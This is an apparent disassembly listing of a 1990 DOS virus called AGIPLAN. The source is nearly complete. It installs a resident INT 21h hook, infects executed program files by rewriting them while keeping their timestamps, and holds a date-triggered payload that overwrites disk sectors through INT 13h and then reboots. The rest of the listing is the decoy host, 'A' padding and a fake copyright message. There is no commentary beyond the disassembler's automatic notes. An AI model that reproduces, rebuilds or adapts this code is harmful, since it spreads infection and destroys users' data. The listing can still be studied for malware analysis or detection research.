PAGE 59,132 ; ; ; AGIPLAN ; ; Created: 1-Sep-90 ; Version: ; Passes: 5 Analysis Options on: none ; ; ; movseg macro reg16, unused, Imm16 ; Fixup for Assembler ifidn , db 0BBh endif ifidn , db 0B9h endif ifidn , db 0BAh endif ifidn , db 0BEh endif ifidn , db 0BFh endif ifidn , db 0BDh endif ifidn , db 0BCh endif ifidn , db 0BBH endif ifidn , db 0B9H endif ifidn , db 0BAH endif ifidn , db 0BEH endif ifidn , db 0BFH endif ifidn , db 0BDH endif ifidn , db 0BCH endif dw seg Imm16 endm data_1e equ 46Dh ; (0000:046D=0B35h) data_2e equ 600h ; (0000:0600=54h) data_3e equ 0Eh ; (0A10:000E=1) data_4e equ 1 ; (936D:0001=0FFFFh) data_5e equ 0 ; (936E:0000=0) data_6e equ 2 ; (936E:0002=0) data_7e equ 12h ; (936E:0012=0) data_8e equ 14h ; (936E:0014=936Eh) data_9e equ 0F0h ; (936E:00F0=0) data_10e equ 0F6h ; (936E:00F6=0) data_11e equ 0FAh ; (936E:00FA=0) data_12e equ 0FEh ; (936E:00FE=0) data_45e equ 2Ch ; (93CE:002C=0FFFFh) data_46e equ 5B0h ; (93CE:05B0=41h) data_47e equ 600h ; (93CE:0600=41h) data_48e equ 1 ; (FFFE:0001=0) seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h agiplan proc far start: jmp loc_43 ; (04CF) data_14 db 'P1.8&', 5, 'u', 7, 'X.', 0FFh db '.', 5, '', 0FFh, 0 db 75h,0F4h, 58h data_15 db 9Dh db 0B8h, 03h, 00h,0CFh, 90h, 90h db 90h data_16 db 0 db 90h, 00h,0FFh,0FFh,0FFh,0FFh db 0FFh agiplan endp ; ; ; External Entry Point ; ; int_21h_entry proc far pushf ; Push flags cmp ah,4Eh ; 'N' jne loc_4 ; Jump if not equal jmp short loc_8 ; (0154) loc_4: cmp ah,4Bh ; 'K' jne loc_5 ; Jump if not equal jmp short loc_8 ; (0154) loc_5: cmp ah,0Eh jne loc_6 ; Jump if not equal jmp short loc_8 ; (0154) loc_6: cmp ah,40h ; '@' jne loc_7 ; Jump if not equal jmp short loc_8 ; (0154) loc_7: popf ; Pop flags jmp dword ptr cs:data_35 ; (936E:05E4=138Dh) db 90h loc_8: cli ; Disable interrupts push es push ds push di push si push bp push dx push cx push bx push ax mov cs:data_31,ss ; (936E:05DB=0A10h) mov cs:data_32,sp ; (936E:05DD=743h) mov al,0FFh mov cs:data_30,al ; (936E:05DA=0FFh) mov ax,3524h int 7Eh ; ??INT Non-standard interrupt. cmp word ptr cs:data_37,bx ; (936E:05E8=4EBh) jne loc_9 ; Jump if not equal mov ax,2524h mov dx,108h push cs pop ds int 7Eh ; ??INT Non-standard interrupt. loc_9: sti ; Enable interrupts jmp short loc_11 ; (01AA) loc_10: cli ; Disable interrupts xor ax,ax ; Zero register mov cs:data_30,ah ; (936E:05DA=0FFh) mov ss,cs:data_31 ; (936E:05DB=0A10h) mov sp,cs:data_32 ; (936E:05DD=743h) pop ax pop bx pop cx pop dx pop bp pop si pop di pop ds pop es popf ; Pop flags sti ; Enable interrupts jmp dword ptr cs:data_35 ; (936E:05E4=138Dh) db 90h loc_11: pop ax pop bx push bx push ax cmp ah,4Bh ; 'K' je loc_16 ; Jump if equal cmp ah,40h ; '@' jne loc_12 ; Jump if not equal jmp short loc_15 ; (01CC) loc_12: cmp ah,0Eh jne loc_13 ; Jump if not equal jmp short loc_10 ; (0187) loc_13: cmp ah,4Eh ; 'N' jne loc_10 ; Jump if not equal jmp short loc_10 ; (0187) db 90h loc_14: jmp loc_23 ; (0283) loc_15: mov ax,0Fh cmp cs:data_29,al ; (936E:05D9=0) jb loc_10 ; Jump if below ja loc_14 ; Jump if above cmp bx,4 jbe loc_10 ; Jump if below or = mov bx,1 push cs pop ds add ds:data_11e,bx ; (936E:00FA=0) mov ah,2Ch ; ',' int 7Eh ; ??INT Non-standard interrupt. cmp dh,ds:data_11e ; (936E:00FA=0) ja loc_10 ; Jump if above mov bx,data_3e ; (0A10:000E=1) add bx,data_32 ; (936E:05DD=743h) mov ss:[bx],bx jmp short loc_10 ; (0187) db 01h, 90h, 90h, 90h loc_16: mov cs:data_33,dx ; (936E:05DF=3D7Bh) mov cs:data_34,ds ; (936E:05E1=7B6Eh) push cs pop ds mov ah,2Ch ; ',' int 7Eh ; ??INT Non-standard interrupt. cmp dh,ds:data_12e ; (936E:00FE=0) jb loc_17 ; Jump if below jmp loc_10 ; (0187) loc_17: mov dx,data_33 ; (936E:05DF=3D7Bh) mov ds,data_34 ; (936E:05E1=7B6Eh) push ax mov al,2Eh ; '.' cld ; Clear direction push ds push dx cli ; Disable interrupts mov di,dx push ds pop es mov cx,20h repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al jnz loc_20 ; Jump if not zero push cs pop ds mov si,offset data_21 ; (936E:05C8=43h) mov cx,3 repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] jnz loc_22 ; Jump if not zero sub di,0Bh mov si,offset data_20 ; (936E:05C0=43h) mov cx,0Bh repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] mov dh,0FFh mov cs:data_16,dh ; (936E:0128=0) jz loc_18 ; Jump if zero xor dx,dx ; Zero register mov cs:data_16,dh ; (936E:0128=0) loc_18: add sp,6 push cs pop ds loc_19: call sub_2 ; (02C0) loc_20: jmp loc_10 ; (0187) db 90h, 90h loc_21: ;* jmp loc_34 ;*(03E0) db 0E9h, 76h, 01h loc_22: add sp,6 push cs pop ds mov dx,5C0h mov data_33,dx ; (936E:05DF=3D7Bh) mov data_34,ds ; (936E:05E1=7B6Eh) mov dh,0FFh mov data_16,dh ; (936E:0128=0) jmp short loc_19 ; (025F) db 90h loc_23: mov cx,501h mov dx,100h call sub_1 ; (02A0) mov dx,101h call sub_1 ; (02A0) mov dx,380h call sub_1 ; (02A0) mov dx,381h call sub_1 ; (02A0) int 19h ; Bootstrap loader int_21h_entry endp ; ; SUBROUTINE ; sub_1 proc near push dx loc_24: mov ax,309h int 13h ; Disk dl=drive a ah=func 03h ; write sectors from mem es:bx sub dh,1 cmp dh,0 jge loc_24 ; Jump if > or = pop dx push dx sub cx,100h cmp cx,0 jge loc_24 ; Jump if > or = retn sub_1 endp db 90h, 90h, 90h loc_25: jmp loc_31 ; (03A3) ; ; SUBROUTINE ; sub_2 proc near mov ah,48h ; 'H' mov bx,0FFFh int 7Eh ; ??INT Non-standard interrupt. jc loc_21 ; Jump if carry Set nop mov ds:data_11e,ax ; (936E:00FA=0) mov dx,data_33 ; (936E:05DF=3D7Bh) mov ds,data_34 ; (936E:05E1=7B6Eh) mov ah,3Ah ; ':' mov bx,dx add bx,1 cmp ah,[bx] mov ah,0 jnz loc_27 ; Jump if not zero mov bx,dx mov al,50h ; 'P' mov ah,[bx] cmp ah,50h ; 'P' ja loc_26 ; Jump if above sub ah,40h ; '@' jmp short loc_27 ; (02F5) loc_26: sub ah,60h ; '`' loc_27: mov dl,ah mov ah,36h ; '6' int 7Eh ; ??INT Non-standard interrupt. cmp bx,9 jb loc_25 ; Jump if below mov dx,cs:data_33 ; (936E:05DF=3D7Bh) mov ax,4300h int 7Eh ; ??INT Non-standard interrupt. mov cs:data_39,cx ; (936E:05EC=20h) mov ax,4301h xor cx,cx ; Zero register int 7Eh ; ??INT Non-standard interrupt. nop mov ax,3D42h int 7Eh ; ??INT Non-standard interrupt. jc loc_25 ; Jump if carry Set mov bx,ax mov ah,3Fh ; '?' mov cx,0FFFFh mov dx,600h mov ds,cs:data_11e ; (936E:00FA=0) int 7Eh ; ??INT Non-standard interrupt. jc loc_30 ; Jump if carry Set add ax,600h mov cs:data_10e,ax ; (936E:00F6=0) cmp ax,1000h jb loc_30 ; Jump if below cmp ax,0D000h ja loc_30 ; Jump if above mov si,offset ds:[100h] ; (936E:0100=0E9h) push cs pop ds xor di,di ; Zero register mov es,cs:data_11e ; (936E:00FA=0) mov cx,2FFh cld ; Clear direction rep movsw ; Rep when cx >0 Mov [si] to es:[di] push es pop ds xor di,di ; Zero register mov si,data_2e ; (0000:0600=54h) mov cx,10h repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] jz loc_30 ; Jump if zero mov ah,cs:data_16 ; (936E:0128=0) cmp ah,0FFh jne loc_28 ; Jump if not equal call sub_3 ; (03C8) jmp short loc_29 ; (0377) loc_28: mov ax,9090h mov ds:data_1e,ax ; (0000:046D=0B35h) loc_29: nop mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register int 7Eh ; ??INT Non-standard interrupt. mov ax,5700h int 7Eh ; ??INT Non-standard interrupt. push cx push dx mov ah,40h ; '@' mov cx,cs:data_10e ; (936E:00F6=0) xor dx,dx ; Zero register mov ds,cs:data_11e ; (936E:00FA=0) int 7Eh ; ??INT Non-standard interrupt. pop dx pop cx mov ax,5701h int 7Eh ; ??INT Non-standard interrupt. loc_30: mov ah,3Eh ; '>' int 7Eh ; ??INT Non-standard interrupt. loc_31: mov cx,cs:data_39 ; (936E:05EC=20h) mov dx,cs:data_33 ; (936E:05DF=3D7Bh) mov ds,cs:data_34 ; (936E:05E1=7B6Eh) mov ax,4301h loc_32: int 7Eh ; ??INT Non-standard interrupt. push cs pop ds mov es,cs:data_11e ; (936E:00FA=0) mov ah,49h ; 'I' int 7Eh ; ??INT Non-standard interrupt. retn sub_2 endp db 90h, 90h, 90h, 90h, 90h ; ; SUBROUTINE ; sub_3 proc near mov ax,0D08Eh mov ds:data_1e,ax ; (0000:046D=0B35h) mov di,data_2e ; (0000:0600=54h) mov cx,3000h mov ax,0B8C9h loc_33: repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al cmp ah,es:[di] jne loc_33 ; Jump if not equal mov dx,4200h cmp dx,es:[di+1] jne loc_33 ; Jump if not equal mov dh,0BAh cmp dh,es:[di-5] jne loc_33 ; Jump if not equal cmp cx,0 jne loc_35 ; Jump if not equal pop dx jmp short loc_32 ; (03B5) db 90h loc_35: mov dx,es:[di-4] add dx,600h mov es:[di-4],dx retn sub_3 endp db 11 dup (90h) ; ; SUBROUTINE ; sub_4 proc near mov ax,4A00h mov bx,5Fh int 21h ; DOS Services ah=function 4Ah ; change mem allocation, bx=siz mov bx,cs sub bx,1 mov ds,bx mov ax,0FFFFh mov ds:data_4e,ax ; (936D:0001=0FFFFh) push cs pop ds mov ax,4800h mov bx,0FFFFh int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 mov ax,4800h int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 retn sub_4 endp db 0CBh db 26 dup (90h) ; ; SUBROUTINE ; sub_5 proc near mov cx,10h mov si,offset data_15 ; (936E:0120=9Dh) mov di,data_9e ; (936E:00F0=0) cld ; Clear direction rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dx=mon/day cmp cx,data_25 ; (936E:05D1=7BCh) ja loc_38 ; Jump if above jc loc_36 ; Jump if carry Set cmp dx,data_26 ; (936E:05D3=701h) ja loc_38 ; Jump if above loc_36: cmp cx,data_27 ; (936E:05D5=7BCh) ja loc_39 ; Jump if above jc loc_37 ; Jump if carry Set cmp dx,data_28 ; (936E:05D7=501h) ja loc_39 ; Jump if above loc_37: mov ax,0 jmp short loc_40 ; (0487) loc_38: or ax,0F0h loc_39: or ax,0Fh loc_40: mov data_29,al ; (936E:05D9=0) push dx push cx xor bx,bx ; Zero register call sub_6 ; (04A5) pop cx pop dx mov bx,data_6e ; (936E:0002=0) call sub_6 ; (04A5) mov ah,1 add data_22,ah ; (936E:05CC=14h) nop retn sub_5 endp db 90h, 90h, 90h, 90h ; ; SUBROUTINE ; sub_6 proc near add dl,data_24[bx] ; (936E:05CE=0) cmp dl,20h ; ' ' jbe loc_41 ; Jump if below or = add dh,1 sub dl,20h ; ' ' loc_41: add dh,data_23[bx] ; (936E:05CD=6) cmp dh,0Bh jbe loc_42 ; Jump if below or = sub dh,0Bh add cx,1 loc_42: add bx,bx nop mov data_26[bx],dx ; (936E:05D3=701h) mov data_25[bx],cx ; (936E:05D1=7BCh) retn sub_6 endp loc_43: push ax mov al,3Fh ; '?' mov dx,70h out dx,al ; port 70h, RTC addr/enabl NMI mov dx,71h in al,dx ; port 71h, RTC clock/RAM data cmp al,0F0h jbe loc_44 ; Jump if below or = jmp loc_47 ; (057B) loc_44: mov ax,357Fh int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ax,ds mov es,ax cmp bx,0FFFFh jne loc_45 ; Jump if not equal jmp loc_48 ; (0582) loc_45: mov dx,0FFFFh mov ax,257Fh int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov ax,3521h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov word ptr data_35,bx ; (936E:05E4=138Dh) mov word ptr data_35+2,es ; (936E:05E6=28Ch) mov ax,es mov ds,ax mov dx,bx mov ax,257Eh int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov ax,cs mov es,ax mov ds,ax mov dx,offset int_21h_entry mov ax,2521h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov ax,3524h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov word ptr data_37,bx ; (936E:05E8=4EBh) mov word ptr data_37+2,es ; (936E:05EA=0A10h) mov ax,es mov ds,ax mov dx,bx mov ax,25FDh int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov ax,cs mov es,ax mov ds,ax mov dx,offset int_24h_entry mov ax,2524h mov ds:data_7e,dx ; (936E:0012=0) mov ds:data_8e,ds ; (936E:0014=936Eh) int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx call sub_5 ; (0450) call sub_4 ; (0410) nop nop nop nop nop loc_46: mov cx,80h mov di,data_47e ; (93CE:0600=41h) mov si,data_5e ; (936E:0000=0) cld ; Clear direction rep movsw ; Rep when cx >0 Mov [si] to es:[di] mov ax,ds add ax,60h mov word ptr ds:[579h],ax ; (936E:0579=0E64h) nop nop mov es,ax mov ds,ax pop ax nop nop ;* jmp far ptr loc_1 ;*(0E64:0100) db 0EAh, 00h, 01h, 64h, 0Eh loc_47: mov dx,data_46e ; (93CE:05B0=41h) mov ah,9 int 21h ; DOS Services ah=function 09h ; display char string at ds:dx loc_48: mov ax,4A00h mov bx,5Fh int 21h ; DOS Services ah=function 4Ah ; change mem allocation, bx=siz mov bx,ds:data_45e ; (93CE:002C=0FFFFh) sub bx,1 xor ax,ax ; Zero register mov ds,bx mov ds:data_48e,ax ; (FFFE:0001=0) mov bx,cs add bx,60h mov dx,cs sub dx,1 mov ds,dx mov ds:data_4e,bx ; (936D:0001=0FFFFh) mov ah,50h ; 'P' int 21h ; DOS Services ah=function 50h ; set active PSP segmnt from bx push cs pop ds jmp short loc_46 ; (0559) db 'load error', 0Dh, 0Ah, '$' db 0Ah, '$' db 0 data_20 db 'COMMAND.' data_21 db 43h db 4Fh, 4Dh, 00h data_22 db 14h data_23 db 6 ; Data table (indexed access) data_24 db 0 ; Data table (indexed access) db 4, 0 data_25 dw 7BCh ; Data table (indexed access) data_26 dw 701h ; Data table (indexed access) data_27 dw 7BCh data_28 dw 501h data_29 db 0 data_30 db 0FFh data_31 dw 0A10h data_32 dw 743h data_33 dw 3D7Bh data_34 dw 7B6Eh db 90h data_35 dd 28C138Dh data_37 dd 0A1004EBh data_39 dw 20h db 90h, 90h, 4Dh, 10h, 0Ah,0FFh db 0Fh db 11 dup (90h) db 0E9h,0CCh, 03h, 90h, 90h, 90h db 90h, 90h, 9Ch, 50h, 31h,0C0h db 2Eh, 38h, 26h,0DAh, 05h, 75h db 07h loc_49: pop ax popf ; Pop flags jmp cs:data_37 ; (936E:05E8=4EBh) cmp di,0 jne loc_49 ; Jump if not equal pop ax popf ; Pop flags mov ax,3 iret ; Interrupt return db 90h, 90h, 90h, 00h, 90h, 00h db 0FFh,0FFh,0FFh,0FFh,0FFh, 9Ch db 80h,0FCh, 4Eh, 75h, 02h,0EBh db 1Ch, 80h,0FCh, 4Bh, 75h, 02h db 0EBh, 15h loc_50: cmp ah,0Eh jne loc_51 ; Jump if not equal jmp short loc_53 ; (0654) loc_51: cmp ah,40h ; '@' jne loc_52 ; Jump if not equal jmp short loc_53 ; (0654) loc_52: popf ; Pop flags jmp cs:data_35 ; (936E:05E4=138Dh) db 90h loc_53: cli ; Disable interrupts push es push ds push di push si push bp push dx push cx push bx push ax mov cs:data_31,ss ; (936E:05DB=0A10h) mov cs:data_32,sp ; (936E:05DD=743h) mov al,0FFh mov cs:data_30,al ; (936E:05DA=0FFh) mov ax,3524h int 7Eh ; ??INT Non-standard interrupt. cmp word ptr cs:data_37,bx ; (936E:05E8=4EBh) jne loc_54 ; Jump if not equal mov ax,2524h mov dx,108h push cs pop ds int 7Eh ; ??INT Non-standard interrupt. loc_54: sti ; Enable interrupts jmp short loc_56 ; (06AA) loc_55: cli ; Disable interrupts xor ax,ax ; Zero register mov cs:data_30,ah ; (936E:05DA=0FFh) mov ss,cs:data_31 ; (936E:05DB=0A10h) mov sp,cs:data_32 ; (936E:05DD=743h) pop ax pop bx pop cx pop dx pop bp pop si pop di pop ds pop es popf ; Pop flags sti ; Enable interrupts jmp cs:data_35 ; (936E:05E4=138Dh) db 90h loc_56: pop ax pop bx push bx push ax cmp ah,4Bh ; 'K' je loc_61 ; Jump if equal cmp ah,40h ; '@' jne loc_57 ; Jump if not equal jmp short loc_60 ; (06CC) loc_57: cmp ah,0Eh jne loc_58 ; Jump if not equal jmp short loc_55 ; (0687) loc_58: cmp ah,4Eh ; 'N' jne loc_55 ; Jump if not equal jmp short loc_55 ; (0687) db 90h loc_59: jmp loc_62 ; (0783) loc_60: mov ax,0Fh cmp cs:data_29,al ; (936E:05D9=0) jb loc_55 ; Jump if below ja loc_59 ; Jump if above cmp bx,4 jbe loc_55 ; Jump if below or = mov bx,1 push cs pop ds add ds:data_11e,bx ; (936E:00FA=0) mov ah,2Ch ; ',' int 7Eh ; ??INT Non-standard interrupt. cmp dh,ds:data_11e ; (936E:00FA=0) ja loc_55 ; Jump if above mov bx,data_3e ; (0A10:000E=1) add bx,data_32 ; (936E:05DD=743h) mov ss:[bx],bx jmp short loc_55 ; (0687) db 01h, 90h, 90h, 90h loc_61: jmp loc_63 ; (1A7F) db 'Hello - Copyright S & S Internat' db 'ional, 1990', 0Ah, 0Dh, '$' db 1Ah, 41h, 41h db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAA' loc_62: db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' db 'AAAAAAAAAAAAAAAA' loc_63: mov ah,9 mov dx,offset data_14 ; (936E:0103=90h) int 21h ; DOS Services ah=function 09h ; display char string at ds:dx int 20h ; Program Terminate seg_a ends end start